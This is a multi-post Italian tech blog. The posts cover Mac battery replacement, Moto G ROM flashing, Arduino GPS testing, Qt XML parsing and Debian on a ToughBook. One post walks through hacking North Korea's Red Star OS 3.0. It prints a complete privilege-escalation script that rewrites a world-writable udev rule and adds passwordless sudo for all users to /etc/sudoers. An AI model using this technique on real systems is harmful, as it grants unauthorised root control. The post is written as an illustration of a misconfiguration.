lunedì 1 febbraio 2016

Sostituzione batteria su A1286

La sostituzione della batteria sui Mac e' diventata con il tempo sempre piu' difficile a partire dai vecchi MacBook bianchi (dove era banale e bastava una monetina) ad alcuni modelli attuali in cui e' sostanzialmente impossibile

Una delle cose da tenere in considerazione quando si tenta di riportare in vita (o meglio usabile) un vecchio Mac e' che Apple ha la maledetta abitudine si usare uno stesso identificativo per una serie di portatili con hardware molto differente. Per esempio con l'identificativo A1286 vengono definiti 22 modelli differenti di MacBook Pro con dotazione da Core 2 Duo ad I7


Quindi se si compra una batteria di ricambio genericamente per A1286 c'e' la possibilita' di sbagliare (infatti la dimensione della batteria e' la medesima ma cambia il connettore)

Per il MacBook Pro 15 pollici Mid 2009 si deve scegliere il ricambio A1302


Sorpassato il problema iniziale della scelta del giusto ricambio la sostituzione e' banale, ci si deve solo ricordare che non tutte le viti del fondo del computer sono tutte delle stessa dimensione (quelle piu' lunghe sono sul lato della cerniera del monitor). Un lavoro da 10 minuti e circa 30 euro di spesa

venerdì 29 gennaio 2016

Hacking Red Star 3.0

Red Star e' un sistema operativo basato su Linux, probabilmente da una Fedora, creato da governo della Nord Corea con l'evidente scopo di tracciare e limitare le attivita' online dei propri utenti,
La notizia della fuga della iso del sistema operativo e' piuttosto vecchiotta cosi' come il sistema per hackerare il sistema ma e' un ottimo esempio di come si puo', su un sistema solido come Linux, effettuare una scalata di privilegi con metodi banali (ovvero senza ricorrere a buffer overflow od exploit particolari) basandosi su una pessima configurazione del sistema

La iso puo' essere scaricata da questo link

Finestra di Login di RedStar

Attenzione : e' fortemente consigliato di giocare con RedStar soltanto all'interno di una macchina virtuale disconnettendo l'interfaccia di rete virtuale ed evitando qualsiasi tipo di condivisione con il filesystem reale o chiavette USB reali (Red Star effettua di nascosto un watermark di tutti i file che scansiona)

Il primo ostacolo che si incontra nella installazione della iso e' che e' tutta (ovviamente) in coreano quindi bisogna andare un po' a caso. Essendo comunque solo una traduzione e non una modifica del procedimento base e' piuttosto semplice concludere il processo

Schermata dell'installazione

A questo punto ho provato a raggiungere una shell. Usando le combinazioni di tasti CTRL+ALT+Fx si ha che su F1 si ha una shell testuale ma a cui non si puo' effettuare il login mentre su F2 si ha X, nessuna altra shell virtual


In realta' frugando nei menu si trova un Xterm. Si deve cliccare sull'icona in basso per aprire il menu dei programmi.


Poi cliccando sulla quarta icona da sinistra nella riga piu' in alto della finestra soprastante (icona del folder verde) si accede alla schermata sottostante


Si clicca sul folder con martello e chiave (che dovrebbe essere qualcosa tipo Utility) e si arriva finalmente all'icona del terminale


Una volta ottenuta la shell si ha il problema che digitando sulla tastiera compaiono caratteri coreani ed e' quindi impossibile digitare i comandi Unix. La soluzione e' quella di premere a lungo e rilasciare il tasto Alt-Gr, a questo punto dovrebbero comparire i caratteri latini e si puo' procedere

e qui inizia la vera e propria scalata dei privilegi
la debolezza del sistema risiede tutta nella cattiva configurazione dei permessi nel file /etv/udev/rules.d/85-hpjl10xx.rules che e' settato come 777
RedStar e' impostato per impedire l'esecuzione di file di sistema ed ovviamente l'utente normale non puo' utilizzare sudo. Pero' il file in esame viene eseguito in fase di boot come root/admin.
Il gioco sta semplicemente nel modificare il file (perche' e' comunque scrivibile) e riavviare il computer per eseguire i comandi aggiunti per prendere il controllo della macchina



lo script (trovato qui) e' il seguente
semplicemente vengono aggiunti tutti gli utenti alla lista sudoers .. di una semplicita' disarmante
---------------------------------------------
 #!/bin/bash -e
 cp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bak
 echo 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rules
 cat <<EOF >/tmp/r00t.sh
 echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers
 mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules
 chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules
 rm /tmp/r00t.sh
 EOF
 chmod +x /tmp/r00t.sh
 echo "sudo will be available after reboot"
 sleep 2
 reboot
---------------------------------------------







mercoledì 27 gennaio 2016

Normalizzazione immagini con ImageMagick

Per un software di elaborazione immagini, in particolare per calcolare gli spostamenti da un video in timelapse, avevo la necessita' di confrontare immagini con la stessa inquadratura ma con condizioni di luce differenti, possibilmente con procedura batch

Una soluzione e' stata trovata negli script a questo link http://www.fmwconcepts.com/imagemagick/, in particolare bcmatch

Le immagini di riferimento sono state riprese a 11 minuti di distanza all'alba. L'elaborazione ha tentato di riportare le condizioni di illuminazione di Immagine 2 a quelle di Immagine 1 (per confronto si puo' vedere la posizione della Luna nel cielo)

Il risultato non e' perfetto ma decisamente buono e conforme per quanto richiesto dal successivo software di elaborazione.
Immgine 1

Immagine 2

Immagine 2 normalizzata ad Immagine 1

La stessa cosa con le immagini pero' a scala di grigio

Immagine 1 scala grigio

Immagine 2 scala grigio


Immagine 2 normalizzata ad Immagine 1


martedì 26 gennaio 2016

CyanogenMod su XT1032: all'inferno e ritorno

Visto che il mio fidato Moto G 2013 prima edizione (altrimenti conosciuto come XT1032/Falcon) ha ormai raggiunto con Android 5.1 il termine degli aggiornamenti da parte di Motorola (peraltro nel frattempo defunta) ho voluto provare a fare il salto verso Android 6 MarshMallow con la CyanogenMod...mai mossa fu piu' avventata


Per prima cosa e' stato necessario sbloccare il bootloader (le istruzioni ufficiali si trovano a questo link). Non e' una operazione banale come con i Nexus in quanto bisogna far partire il telefono in modalita' fastboot con 

adb reboot bootloader

e poi farsi dire l'identificativo del dispositivo con il comando

fastboot oem get_unlock_data

il telefono risponde con un codice seriale di cinque righe che devono essere copiate e messe su una unica riga alla pagina a questo link
Verra' mandata una mail con un codice molto piu' corto da inserire nel comando

fastboot oem unlock codice_seriale_per_email

al successivo riavvio la tranquilizzante schermata di Moto viene cambiata in questo messaggio vagamente minaccios


il passo successivo e' stato installare la recovery TWRP (ogni telefono ha la sua, per Moto G si scarica da questo link). Facendo ripartire il telefono in modalita' bootloader si flasha la recovery con il comando 

fastboot flash recovery  twrp-2.8.6.0-xt1032.img

sul telefono viene generato un errore di mismatch delle dimensioni del file. va tutto bene, e' solo il telefono che protesta per vedere arrivare un file di dimensioni differenti da quelli di default

Modalita' Download
Ho dovuto fare un paio di tentativi per avere una installazione corretta di TWRP

A questo punto con il tasto Vol - si selezione Recovery e si conferma con il tasto Vol+ e si puo' installare il file zip precedentemente caricato sulla SD.

TWRP
E qui inizia il primo errore.Volendo installare Android 6 ho montato la CyanogenMod 12.1 che pero' corrisponde alla 5.1..quindi non ho guadagnato niente da questa nuova rom (seppure molto veloce). In piu' si e' aggiunto un problema perche' con l'installazione delle OpenGApps non funziona l'orologio di default di Google ne' la ricerca vocale (niente di drammatico ma a ma la sveglia serve)

Fatto 30 ho provato a fare 31 installando la CyanogemMod 13, attualmente solo in night build. Installazione completata correttamente e con il telefono ancora veloce.



Per finire ho montato le OpenGApss per Android 6 ed e' stato l'inizio dei problemi. Al riavvio il telefono era diventato non usabile perche' la Configurazione Automatica di Google (Configuration Wizard) andava in crash ogni secondo rendendo impossibile interagire con il telefono (e stupidamente non avevo prima attivato il supporto via Adb)

Vista l'impossibilita' di usare MarshMallow ho provato a tornare indietro e riflashare la 12.1 ma, per cause non chiare, il telefono e' rimasto per una buona mezz'ora bloccato sulla schermata bianca del bootloader di Motorola (la seconda di questo post) riavviandosi ogni 10 secondi e senza riuscire ad entrare in Download Mode

Dopo una serie di prove sono riuscito a riprendere almeno il controllo del bootloader e dovendo ripristinare la Rom originale almeno ho provato ad inserire la Google Play Edition con questa installazione facilitata

Adesso ho un Moto G  funzionante con Android 5.1 che condivide lo stesso software del Nexus 4

In conclusione:
1) CyanogenMod e' molto veloce ma l'integrazione con le app di Google e' molto delicata e non perfetta per cui si puo' andare rapidamente incontro a problemi

2) E' presto per MarshMallow su Moto G 2013

3) Con la TWRP e' possibile attivare la funzione ADB sideload (nel menu avanzate).Con questo sistema e' possibile flashare una immagine Rom senza caricarla in precedenza sulla memoria del telefono. Durante i vari disastri/tentativi per ripristinare il Moto G mi sono trovato nella condizione di non avere un sistema operativo funzionante e di poter scrivere sulla partizione dello storage. Digitando dal computer

adb sideload  cm-12.1-20151117-SNAPSHOT-YOG7DAO1K9-falcon.zip









venerdì 22 gennaio 2016

Ublox NEO M8N su Arduino

Dopo aver provato vari moduli GPS (qui e qui) per il mio acquisitore, ho comprato un UBlox Neo-M8N che dovrebbe garantire prestazioni un po' piu' professionali mantenendo il costo attorno ai 20-30 euro

In realta' il chip Ublox da solo e' sostanzialmente inutile perche' ha bisogno di elettronica di contorno e non e' banale da saldare in quanto e' SMD, quindi conviene comprare una scheda gia' assemblata. Ho preso quindi su Aliexpress il modulo sottostante, comprensivo di antenna passiva, che giunge con uno strano connettore a 4 fili ed uno a due fili


con un po' di ricerca ho scoperto che questo tipo di connettore e' compatibile con gli autopilot PixHawk, in pratica si tratta di un  modulo pronto per essere montato su un drone. Il mio obbiettivo era quello invece di usarlo con Arduino e visti i cavi sottili ho dovuto usare una millefori per fare una stabile di collegamento tra due tipi di fili di spessore differente 




Per testare il modulo e' disponibile il software Ucenter  per Windows. Non avendo a portata di mano una cavo FTDI ho connesso la seriale TTL dell'Ublox ad una Arduino su una seriale software per poi ridigere tutto sulla porta USB della Arduino (attenzione : il Neo-M8N ha una alimentazione massima a 3.3 V)

Questo e' lo sketch impiegato disponibile tra gli esempi della IDE di Arduino
----------------------------------------

#include <SoftwareSerial.h>

SoftwareSerial mySerial(2, 3); // RX, TX

void setup() {
  Serial.begin(9600);
  while (!Serial) {
  }

  mySerial.begin(9600);
}

void loop() { // run over and over
  if (mySerial.available()) {
    Serial.write(mySerial.read());
  }
  if (Serial.available()) {
    mySerial.write(Serial.read());
  }
}

----------------------------------------

Con il software Ucenter e' semplice avere una rappresentazione grafica della distribuzione dei punti. La nuvola dei punti e' rimasta nell'intorno di +/- 2 m con una standard deviation  inferiore al metro
Si vede chiaramente anche con l'Ublox riceva segnali sia GPS che Glonass


Questa e' la traccia invece plottata sul terreno. La posizione reale era al centro del rettangolo marrone


Questa e' la variazione in altezza registrata

Il modulo testato e' decisamente veloce nell'acquisizione ed ha delle caratteristiche migliori di Adafuit ad un prezzo comparabile. Cio' che manca e' la presenza di un Pin che permetta di spengere l'antenna per risparmiare energia

giovedì 21 gennaio 2016

Leggere file XML in Qt

Avevo necessita' di leggere un file xml generato da una mia applicazione mobile e dovendo scrivere un lettore multipiattaforma la mia scelta e' caduta su Qt

Questo e' il file da leggere
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<frane>
<frana id="1">
<localita>Pino Torinese</localita>
<comune>Torino</comune>
<data>19/01/2016</data>
<ora>1:45 pm</ora>
<compilatore>Luca Innocenti</compilatore>
<annotazioni></annotazioni>
<est></est>
<nord></nord>
<sistema>WGS84</sistema>
<A>4</A>
<EE>1</EE>
<H>2</H>
<ALPHA>3</ALPHA>
<F>2</F>
<V>4</V>
<M>2</M>
<codice>3/<codice>
</frana>
</frane>
----------------------------

e questo e' lo scheletro del codice Qt (piuttosto autoesplicativo). Prima si carica il file come xmlBOM e poi lo di scorre cercando le varie chiavi
Per la compilazione e' necessario aggiungere al progetto
Qt = + xml

----------------------------
#include "mainwindow.h"
#include "ui_mainwindow.h"

#include <iostream>
#include <QtXml>
#include <QFile>

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);
}

MainWindow::~MainWindow()
{
    delete ui;
}

void MainWindow::on_pushButton_clicked()
{
     QDomDocument xmlBOM;
     QFile f("/Users/lucainnocenti/Triage.xml");
     if (!f.open(QIODevice::ReadOnly ))
     {
         std::cerr << "Error while loading file" << std::endl;
     }
     xmlBOM.setContent(&f);
     f.close();


     QDomElement root=xmlBOM.documentElement();
     QDomElement Component=root.firstChild().toElement();

     while(!Component.isNull())
     {
         if (Component.tagName()=="frana")
         {
           QDomElement Child=Component.firstChild().toElement();
           QString localita,comune,data,ora,compilatore;
           int A;

             while (!Child.isNull())
             {
                 // Read Name and value
                 if (Child.tagName()=="localita") localita=Child.firstChild().toText().data();
                 if (Child.tagName()=="comune") comune=Child.firstChild().toText().data();
                 if (Child.tagName()=="data") data=Child.firstChild().toText().data();
                 if (Child.tagName()=="ora") ora=Child.firstChild().toText().data();
                 if (Child.tagName()=="compilatore") compilatore=Child.firstChild().toText().data();
                 if (Child.tagName()=="A") A=Child.firstChild().toText().data().toInt();

                 Child = Child.nextSibling().toElement();
             }
             std::cout << "Localita = " << localita.toStdString().c_str() << std::endl;
             std::cout << "Comune = " << comune.toStdString().c_str() << std::endl;
             std::cout << "Data = " << data.toStdString().c_str() << std::endl;
             std::cout << "Ora = " << ora.toStdString().c_str() << std::endl;
             std::cout << "Compilatore = " << compilatore.toStdString().c_str() << std::endl;
             std::cout << "A = " << localita.toStdString().c_str() << std::endl;
             std::cout << std::endl;
             ui->label->setText(comune);
         }
         Component = Component.nextSibling().toElement();
     }
}
----------------------------

mercoledì 20 gennaio 2016

Debian su ToughBook CF-18


Ho preso, per l'uso in campagna (dopo aver rischiato di perdere un Lenovo X202 per l'umidita'), un vecchio Panasonic ToughBook CF-18 ed invece di montare Windows XP ho provato a vedere come reagiva con una Debian moderna (tempo fa avevo provato un Panasonic FZ-A1 che fa parte della stessa famiglia)

La cosa che mi preoccupava di piu' era il riconoscimento del digitalizzatore (non ho preso il modello a touchscreen ma quello che funziona solo con il suo pennino)


In realta' non ho dovuto fare molto perche' il digitalizzatore e' riconosciuto subito dal sistema di installazione di Debian senza nessuna configurazione

Mi ha dato un po' piu' da penare la scheda wireless, una Intel Pro Wireless 2200. Dopo l'installazione ho abilitato i repository non-free  caricato il firmware

apt-get install firmware-ipw2x00
ma in ifconfig nessuna traccia del dispositivo. Leggendo i log di sistema non c'erano errori del caricamento del modulo

La soluzione e' chiamare il comando iwconfig dove si vede che il dispositivo viene chiama eth1 e non wlan0 come mi sarei aspettato



Fatto cio' ho pouto configurare a mano il Network Manager di Lxde (che non riconosce in automatica le schede wireless) e potuto iniziare ad usare il dispositivo (veramente solido ma con una tastiera ed un trackpad da bambino di 10 anni)


Aruco Tag e filtri Kalman

Usando gli Aruco tag in ambiente esterno con illuminazione solare a diverse ore e in diversi periodi dell'anno ho trovato un errore nell...